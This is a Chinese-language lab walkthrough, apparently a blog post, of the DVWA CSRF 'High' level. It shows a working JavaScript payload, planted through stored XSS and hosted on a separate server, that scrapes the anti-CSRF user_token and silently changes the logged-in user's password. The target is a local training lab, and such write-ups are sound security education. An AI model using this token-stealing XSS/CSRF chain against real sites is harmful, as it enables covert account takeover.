DVWA—CSRF-High跨站请求伪造高级

1、这一关需要猥琐一点,我们先提交一个正常的数据包。查看这里提交了一个user_token。

DVWA—CSRF-High跨站请求伪造高级_第1张图片

而这个user_token我们可以从F12代码中看到,是登录进来之后就生成了

2、这里我们可以切换到从low的关卡中,在XSS(stored)关卡中埋下一个伏笔。——一个脚本连接

#这个CSRF-high-take_token.js脚本是写在另外一台服务器上的一个Js文件。

3、在这个脚本中将用来获取user_token的同时提交修改密码的get请求。CSRF-high-take_token.js代码如下

/*  取出token来实现csrf   */
var tokenUrl = 'http://192.168.100.4/vulnerabilities/csrf/';
var count = 0;
// 实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
// 当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
    //状态码:0:请求未初始化,1: 服务器连接已建立,2:请求已接收,3:请求处理中,4: 请求已完成,且响应已就绪
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
      // 取得请求的响应,并从响应中通过正则提取Token
      var text = xmlhttp.responseText;
      var regex = /user_token\' value\=\'(.*?)\' \/>/;
      var match = text .match(regex);
      // alert(match[1]);
      var token = match[1];
      // 发送修改密码的语法
      var changeUrl = 'http://192.168.100.4/vulnerabilities/csrf/?user_token='+token+'&password_new=12581&password_conf=12581&Change=Change';
      if (count == 0) {
        count = 1;  // 只发送一次,否则会多次发送
      xmlhttp.open("GET",changeUrl,false); // false 代表同步方式发送(前面的数据处理完才能进行)
        xmlhttp.send();
      }
    } 
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();

4、当我们的payload在XSS(Stroed)-low关卡中注入完毕之后,并没有什么效果。要回去把关卡设置成high。

这个时候,当你点击到 XSS(Stroed) 界面的时候,用户界面没有任何反应,但是密码就已经被神不知鬼不觉的修改了!

你可能感兴趣的:(csrf,安全,前端)